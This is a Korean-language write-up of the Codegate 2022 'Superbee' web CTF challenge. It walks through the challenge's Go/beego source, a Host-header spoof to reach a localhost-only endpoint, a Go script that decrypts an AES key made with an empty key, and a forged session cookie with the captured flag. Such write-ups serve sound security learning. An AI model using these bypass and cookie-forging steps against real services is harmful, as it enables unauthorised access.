Home
System Hacking
🐝

Superbee

Type
CTF
년도
2022
Name
Codegate
분야
WEB
세부분야
Bypass
2022/02/27 22:02
점수
100점대
1 more property

풀이 사전 지식

+ Bypass
Filtering Bypass

# Problem

# Main Page

Main Page에 접속하면 위 사진과 같이 Not Found를 확인할 수 있습니다.

# Source Code

superbee.zip
24.5KB

# main.go

package main import ( "crypto/aes" "crypto/cipher" "crypto/md5" "encoding/hex" "bytes" "github.com/beego/beego/v2/server/web" ) type BaseController struct { web.Controller controllerName string actionName string } type MainController struct { BaseController } type LoginController struct { BaseController } type AdminController struct { BaseController } var admin_id string var admin_pw string var app_name string var auth_key string var auth_crypt_key string var flag string func AesEncrypt(origData, key []byte) ([]byte, error) { padded_key := Padding(key, 16) block, err := aes.NewCipher(padded_key) if err != nil { return nil, err } blockSize := block.BlockSize() origData = Padding(origData, blockSize) blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize]) crypted := make([]byte, len(origData)) blockMode.CryptBlocks(crypted, origData) return crypted, nil } func Padding(ciphertext []byte, blockSize int) []byte { padding := blockSize - len(ciphertext)%blockSize padtext := bytes.Repeat([]byte{byte(padding)}, padding) return append(ciphertext, padtext...) } func Md5(s string) string { h := md5.New() h.Write([]byte(s)) return hex.EncodeToString(h.Sum(nil)) } func (this *BaseController) Prepare() { controllerName, _ := this.GetControllerAndAction() session := this.Ctx.GetCookie(Md5("sess")) if controllerName == "MainController" { if session == "" || session != Md5(admin_id + auth_key) { this.Redirect("/login/login", 403) return } } else if controllerName == "LoginController" { if session != "" { this.Ctx.SetCookie(Md5("sess"), "") } } else if controllerName == "AdminController" { domain := this.Ctx.Input.Domain() if domain != "localhost" { this.Abort("Not Local") return } } } func (this *MainController) Index() { this.TplName = "index.html" this.Data["app_name"] = app_name this.Data["flag"] = flag this.Render() } func (this *LoginController) Login() { this.TplName = "login.html" this.Data["app_name"] = app_name this.Render() } func (this *LoginController) Auth() { id := this.GetString("id") password := this.GetString("password") if id == admin_id && password == admin_pw { this.Ctx.SetCookie(Md5("sess"), Md5(admin_id + auth_key), 300) this.Ctx.WriteString("<script>alert('Login Success');location.href='/main/index';</script>") return } this.Ctx.WriteString("<script>alert('Login Fail');location.href='/login/login';</script>") } func (this *AdminController) AuthKey() { encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key)) this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key)) } func main() { app_name, _ = web.AppConfig.String("app_name") auth_key, _ = web.AppConfig.String("auth_key") auth_crypt_key, _ = web.AppConfig.String("auth_crypt_key") admin_id, _ = web.AppConfig.String("id") admin_pw, _ = web.AppConfig.String("password") flag, _ = web.AppConfig.String("flag") web.AutoRouter(&MainController{}) web.AutoRouter(&LoginController{}) web.AutoRouter(&AdminController{}) web.Run() }
Go
복사
소스코드를 확인해보면 beego라는 프레임워크를 사용중인 것을 확인할 수 있습니다.
또한 AutoRouter 함수를 이용하여 MainController, LoginController, AdminController를 라우팅하는 것을 확인할 수 있으며 beego 프레임워크에서 제공하는 공식문서에서 사용법을 확인할 수 있습니다.
이를 통해서 index, login, auth, authkey의 페이지가 존재하는 것을 확인할 수 있습니다.

# Attack Vector

## Controller

type BaseController struct { web.Controller controllerName string actionName string }
Go
복사
BaseController에서 WEB 요청을 관리하고 분류하는것을 확인할 수 있습니다.

# BaseController

Prepare()
func (this *BaseController) Prepare() { controllerName, _ := this.GetControllerAndAction() session := this.Ctx.GetCookie(Md5("sess")) if controllerName == "MainController" { if session == "" || session != Md5(admin_id + auth_key) { this.Redirect("/login/login", 403) return } } else if controllerName == "LoginController" { if session != "" { this.Ctx.SetCookie(Md5("sess"), "") } } else if controllerName == "AdminController" { domain := this.Ctx.Input.Domain() if domain != "localhost" { this.Abort("Not Local") return } } }
Go
복사
해당 함수에서 웹으로 전송된 요청을 받아 main, login, admin인지 분류해 전송해줍니다.
또한 MainController로 들어온 전송의 경우 Md5(sess)로 만들어진 session valueadmin_id + auth_key임을 확인할 수 있습니다.
AdminController의 경우 전달된 Domainlocalhost인지 확인합니다.

# MainController

Index()
func (this *MainController) Index() { this.TplName = "index.html" this.Data["app_name"] = app_name this.Data["flag"] = flag this.Render() }
Go
복사
index.html에서 flag를 확인할 수 있습니다.

# AdminController

AuthKey()
func (this *AdminController) AuthKey() { encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key)) this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key)) }
Go
복사
BaseController를 통해서 Domainlocalhost인 경우 AesEncryptauth_keyauth_cryt_key를 암호화하여 반환하는것을 확인할 수 있습니다.

# Value

main()
func main() { app_name, _ = web.AppConfig.String("app_name") auth_key, _ = web.AppConfig.String("auth_key") auth_crypt_key, _ = web.AppConfig.String("auth_crypt_key") admin_id, _ = web.AppConfig.String("id") admin_pw, _ = web.AppConfig.String("password") flag, _ = web.AppConfig.String("flag") web.AutoRouter(&MainController{}) web.AutoRouter(&LoginController{}) web.AutoRouter(&AdminController{}) web.Run() }
Go
복사
web.config 파일에서 auth_keyauth_crypt_key, admin_id을 받아오는 것을 확인할 수 있다.
app.conf
app_name = superbee auth_key = [----------REDEACTED------------] id = admin password = [----------REDEACTED------------] flag = [----------REDEACTED------------]
Go
복사

## auth_key

# localhost bypass

localhost를 통과하기 위해서는 BurpSuite로 간단하게 Host 부분을 localhost로 변경하여 encrypted_auth_key를 획득할 수 있습니다.

# Decrypt auth_key

AuthKey()
func (this *AdminController) AuthKey() { encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key)) this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key)) }
Go
복사
AuthKey()의 경우 AesEncrypt 함수를 통해서 auth_keyauth_crypt_key를 사용합니다.
AesEncrypt()
func AesEncrypt(origData, key []byte) ([]byte, error) { padded_key := Padding(key, 16) block, err := aes.NewCipher(padded_key) if err != nil { return nil, err } blockSize := block.BlockSize() origData = Padding(origData, blockSize) blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize]) crypted := make([]byte, len(origData)) blockMode.CryptBlocks(crypted, origData) return crypted, nil }
Go
복사
AesEncrypt 함수를 분석하면 auth_key를 전달받은 auth_crypt_key을 키로 사용하여 CBC 암호화를 진행합니다.
하지만 app.conf에는 auth_crypt_key가 존재하지 않기 때문에 NULL 값이 전달되는 것을 확인할 수 있으며, keyNULL임으로 복호화 코드를 작성하여 복호화를 진행하면 auth_key를 획득할 수 있습니다.
AesDecrypt
package main import ( "bytes" "crypto/aes" "crypto/cipher" "crypto/md5" "encoding/hex" "strings" ) func AesEncrypt(origData, key []byte) ([]byte, error) { padded_key := Padding(key, 16) //16, 24, 32 block, err := aes.NewCipher(padded_key) if err != nil { return nil, err } blockSize := block.BlockSize() println("BlockSize : ", blockSize) origData = Padding(origData, blockSize) blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize]) crypted := make([]byte, len(origData)) blockMode.CryptBlocks(crypted, origData) return crypted, nil } func AesDecrypt(crypt, key []byte) ([]byte, error) { padded_key := Padding(key, 16) block, err := aes.NewCipher(padded_key) if err != nil { return nil, err } blockSize := block.BlockSize() blockMode := cipher.NewCBCDecrypter(block, padded_key[:blockSize]) plain := make([]byte, len(crypt)) blockMode.CryptBlocks(plain, crypt) return plain, nil } func Padding(ciphertext []byte, blockSize int) []byte { padding := blockSize - len(ciphertext)%blockSize println("PADDING : ", padding) padtext := bytes.Repeat([]byte{byte(padding)}, padding) return append(ciphertext, padtext...) } func Md5(s string) string { h := md5.New() h.Write([]byte(s)) return hex.EncodeToString(h.Sum(nil)) } func main() { decode, _ := hex.DecodeString("00fb3dcf5ecaad607aeb0c91e9b194d9f9f9e263cebd55cdf1ec2a327d033be657c2582de2ef1ba6d77fd22784011607") plain, _ := AesDecrypt([]byte(decode), []byte("")) plain_text := strings.TrimSpace(string(plain)) println(plain_text) println(Md5("sess")) println(Md5("admin" + plain_text)) }
Go
복사
output
PADDING : 16 Th15_sup3r_s3cr3t_K3y_N3v3r_B3_L34k3d f5b338d6bca36d47ee04d93d08c57861 e52f118374179d24fa20ebcceb95c2af
Go
복사
이제 f5b338d6bca36d47ee04d93d08c57861라는 이름의 e52f118374179d24fa20ebcceb95c2af의 값을 가지는 cookie 생성해 준 뒤 main/index에 접근하면 flag를 획득할 수 있습니다.

# Exploit

# Payload

name : f5b338d6bca36d47ee04d93d08c57861 value : e52f118374179d24fa20ebcceb95c2af
Plain Text
복사

# Flag

codegate2022{d9adbe86f4ecc93944e77183e1dc6342}
Plain Text
복사